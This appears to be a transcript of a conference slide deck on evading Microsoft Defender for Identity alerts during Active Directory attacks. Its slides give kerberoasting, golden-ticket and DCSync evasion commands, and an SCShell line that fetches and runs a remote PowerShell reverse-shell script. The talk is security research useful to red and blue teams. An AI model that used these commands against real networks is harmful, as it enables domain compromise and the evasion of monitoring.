0wn-premises: Bypassing Microsoft Defender for Identity
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This document discusses bypassing alerts from Microsoft Defender for Identity (MDI). It begins with an introduction to MDI and the types of alerts it generates. It then explores techniques for bypassing alerts during different phases of an attack like reconnaissance, credential compromise, and lateral movement. These include using alternative tools, limiting interactions with domain controllers, and complying with Kerberos policies. The document also notes techniques like silver tickets that are not detected by MDI. It concludes by acknowledging limitations of only testing alerts and not coupled defenses.
0wn-premises: Bypassing Microsoft Defender for Identity
- 1. 0wn-premises: Bypassing Microsoft Defender for Identity Nikhil Mittal 1
- 2. 0wn Premises: Bypassing MDI AlteredSecurity About me ◎ Twitter - @nikhil_mitt ◎ Founder of Altered Security - alteredsecurity.com ◎ GitHub - github.com/samratashok/ ◎ Creator of Nishang, Deploy-Deception, RACE toolkit and more ◎ Interested in Active Directory and Azure security ◎ Previous Talks and/or Trainings ○ DEF CON, BlackHat, BruCON and more. 2
- 3. 0wn Premises: Bypassing MDI AlteredSecurity Agenda ◎ Introduction to MDI ◎ Alerts ◎ Bypassing existing Alerts ◎ Techniques that are not detected (no alerts) ◎ Abusing MDI Response Action ◎ Limitations of the research 3
- 4. 0wn Premises: Bypassing MDI AlteredSecurity Microsoft Defender for Identity (MDI) ◎ Analyzes traffic and logs on domain controllers, builds profiles for identities and then look for anomalies – deviation from “normal” behavior. 4
- 5. 0wn Premises: Bypassing MDI AlteredSecurity Alerts ◎ Recon phase ◎ Compromised credential phase ◎ Lateral Movement phase ◎ Domain dominance phase ◎ Exfiltration phase Source: https://learn.microsoft.com/en-us/defender-for-identity/alerts-overview 5
- 6. 0wn Premises: Bypassing MDI AlteredSecurity Bypassing MDI ◎ MDI targets careless attackers! ○ Endpoint opsec is NOT the only opsec ○ Know your tools! Understand how they interact with DCs ○ Always assume that DCs are heavily monitored – Limit your interaction with DCs! 6
- 7. 0wn Premises: Bypassing MDI AlteredSecurity Bypassing MDI ◎ Question your TTPs and activity ○ Does traffic generated by my activity mix well with the existing traffic? ○ Am I using RC4 in place of AES? ○ Are my LDAP queries too specific? ○ Would the logs look similar to legit ones? ○ Are my Kerberos tickets compliant to Kerberos policy? Do my forged tickets stand out? ○ How could I be more silent? 7
- 8. 0wn Premises: Bypassing MDI AlteredSecurity Bypass – Recon alerts 8 Alert Triggered by Bypass Active Directory attributes reconnaissance (LDAP) Enumeration for RBCD, ‘Don’t require preauth’ with LDAP Filtering Request all attributes and filter offline. Avoid LDAP Filtering User and Group membership reconnaissance (SAMR) Tools like net.exe Don’t use net.exe for enum :) User and IP address reconnaissance (SMB) NetSessionEnum against the DC Avoid doing SMB Session enumeration against DC
- 9. 0wn Premises: Bypassing MDI AlteredSecurity Bypass – Recon alerts Active Directory attributes reconnaissance (LDAP) ◎ Bypass RBCD alert using AD Module (https://github.com/samratashok/ADModule) Get-ADComputer -Filter * -Properties * | ?{$_.PrincipalsAllowedToDelegateToAccount -ne "$null"} | select SamAccountName, PrincipalsAllowedToDelegateToAccount 9
- 10. 0wn Premises: Bypassing MDI AlteredSecurity Bypass – Compromised Credentials 10 Alert Triggered by Bypass Honeytoken activity Use of account marked as Honeytoken account Look for user account attributes like logonCount and badPwdCount to find honeytoken accounts Suspected Kerberos SPN Exposure Requesting TGS tickets for multiple SPNs e.g. “Rubeus kerberoast” Enumerate accounts (request all attributes and filter offline) with SPN and request one TGS ticket at a time Suspected AS-REP Roasting attack Requesting AS-REPs for multiple users e.g. “Rubeus asreproast” Enumeration of users with Preauth disabled Enumerate accounts (request all attributes and filter offline) with preauth disabled and request one AS-REP at a time
- 11. 0wn Premises: Bypassing MDI AlteredSecurity Bypass – Compromised Credentials Suspected Kerberos SPN Exposure ◎ Enumerate using PowerView or ADModule and request one TGS ticket at a time Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName Rubeus.exe kerberoast /user:targetaccount /simple /rc4opsec 11
- 12. 0wn Premises: Bypassing MDI AlteredSecurity DEMO Bypass - Suspected Kerberos SPN Exposure 12
- 13. 0wn Premises: Bypassing MDI AlteredSecurity Bypass – Lateral Movement 13 Alert Triggered by Bypass Suspected identity theft (pass- the-ticket) Reuse of TGT from more than one machine Was NOT very reliably triggered during testing Suspected overpass-the- hash attack (Kerberos) No previous logon on a machine Could not bypass alert for ‘no previous logon’ No more encryption downgrade alert on use of RC4/NTLM hash but still use AES keys Suspected rogue Kerberos certificate usage No previous use of certificate on a machine Was NOT very reliably triggered during testing
- 14. 0wn Premises: Bypassing MDI AlteredSecurity Bypass – Domain Dominance 14 Alert Triggered by Bypass Remote code execution attempt Use of PSExec, Remote WMI, WinRM (PSRemoting) and service creation Code execution by modifying existing service (tools like SCShell) Suspected DCSync attack Replication request from a machine that is not a DC Use DC machine account, TGT or sIDHistory Principals that have replication rights like DCs, Enterprise DCs, Azure AD Connect, Sharepoint admins etc. Suspected Golden Ticket usage (encryption downgrade) Use of NTLM hash (RC4) of the krbtgt account Use AES256 or AES 128 key of the krbtgt account Suspected Golden Ticket usage (nonexistent account) Forging TGT for a nonexistent account Always use a valid and active DA account Suspected Golden Ticket usage (time anomaly) Use of TGT for longer than the value specified in Kerberos Policy Enumerate the Kerberos Policy and make sure the forged ticket complies with settings
- 15. 0wn Premises: Bypassing MDI AlteredSecurity Bypass – Domain Dominance Remote Code Execution Attempt ◎ Using AES keys for Overpass-the-hash and using SCShell (https://github.com/Mr-Un1k0d3r/SCShell) for modifying an existing service ◎ SCShell.exe dcorp-dc XblAuthManager "C:WindowsSystem32cmd.exe /c powershell iex (iwr -UseBasicParsing http://<IP>/Invoke- PowerShellTcp.ps1)“ Note that .NET assembly loader in place of PowerShell work just fine too! 15
- 16. 0wn Premises: Bypassing MDI AlteredSecurity DEMO Bypass - Remote Code Execution Attempt 16
- 17. 0wn Premises: Bypassing MDI AlteredSecurity Bypass – Domain Dominance Suspected DCSync Attack ◎ Use Principals that have replication rights - Domain Controllers and Enterprise Domain Controllers groups always have replication rights! ◎ Run DCSync using credentials/Silver ticket/TGT of DC or having sIDHistory of Domain Controllers or Enterprise Domain Controllers to avoid detection. 17
- 18. 0wn Premises: Bypassing MDI AlteredSecurity Bypass – Domain Dominance Suspected DCSync Attack ◎ Silver ticket using DC machine account ○ Need NTLM hash/AES keys of the DC. Usually, after getting DA privileges ◎ TGT of DC machine account ○ Abusing unconstrained delegation with coercion ◎ sIDHistory of DC - Forging a TGT with sIDHistory of DCs and Enterprise DCs Safetykatz.exe '"kerberos::golden /user:dc$ /domain: /sid: /groups:516 /sids:ForestRootSID-516,S-1-5-9 /krbtgt: /ptt“’ ◎ Find other prinicpals that have replication rights using PowerView Get-DomainObjectAcl -SearchBase "DC=dollarcorp,DC=moneycorp,DC=local" -SearchScope Base -ResolveGUIDs | ?{($_.ObjectAceType -match 'replication-get')} | ForEach-Object {$_ | Add-Member NoteProperty 'IdentityName' $(Convert-SidToName $_.SecurityIdentifier);$_} 18
- 19. 0wn Premises: Bypassing MDI AlteredSecurity DEMO Bypass – Suspected DCSync Attack 19
- 20. 0wn Premises: Bypassing MDI AlteredSecurity Bypass – Domain Dominance Suspected Golden Ticket usage (encryption downgrade)/(nonexistent account)/(time anomaly) ◎ MDI or not, it always makes sense to: ○ Enumerate the Kerberos Policy in the target environment ○ Use AES keys of krbtgt account ○ Use an existing and active target account 20
- 21. 0wn Premises: Bypassing MDI AlteredSecurity Bypass – Domain Dominance Suspected Golden Ticket usage (encryption downgrade)/(nonexistent account)/(time anomaly) ◎ Look at logonCount and badPwdCount of a user ◎ Check the Kerberos Policy – Default is TGT lifetime of 10 hours and Renewal time of 7 days SafetyKatz.exe "kerberos::golden /User:Administrator /domain: /sid: /aes256:AES_of_krbtgt /startoffset:0 /endin:600 /renewmax:10080 /ptt" "exit" 21
- 22. 0wn Premises: Bypassing MDI AlteredSecurity DEMO Bypass – Suspected Golden Ticket usage (encryption downgrade)/(nonexistent account)/(time anomaly) 22
- 23. 0wn Premises: Bypassing MDI AlteredSecurity Techniques that are not detected (no alerts) ◎ Diamond Ticket ◎ Silver Ticket ◎ Delegation configuration ◎ UserAccountControl changes like setting SPN, disabling PreAuth etc. ◎ Changes to AdminSDHolder ◎ New SSPs ◎ Addition of Replication Rights ◎ Many of these are known since the time of Microsoft ATA - https://www.slideshare.net/nikhil_mittal/evading-microsoft-ata-for-active-directory-domination 23
- 24. 0wn Premises: Bypassing MDI AlteredSecurity Abusing MDI Response Action ◎ A user with Security Administrator role can reset password of a user that has a path to domain admin. ◎ In case of Hybrid Identity, DA compromise may lead to Global Administrator compromise! ◎ https://techcommunity.microsoft.com/t5/security-compliance-and-identity/microsoft-defender-for-identity-response-actions/ba-p/3271716 24
- 25. 0wn Premises: Bypassing MDI AlteredSecurity Limitations of the research ◎ Only alerts related to functionality abuse are tested. ◎ Noisy attacks (brute-force or patched vulnerabilities) are not tested. ◎ No testing for ADFS. ◎ Majority of testing done in a lab environment. Only a couple of production environments tested. ◎ Coupling up MDI with other security solutions would produce better results in terms of detection. 25
- 26. 0wn Premises: Bypassing MDI AlteredSecurity Thank you! ◎ Questions? ◎ Contact - @nikhil_mitt ◎ nikhil@alteredsecurity.com 26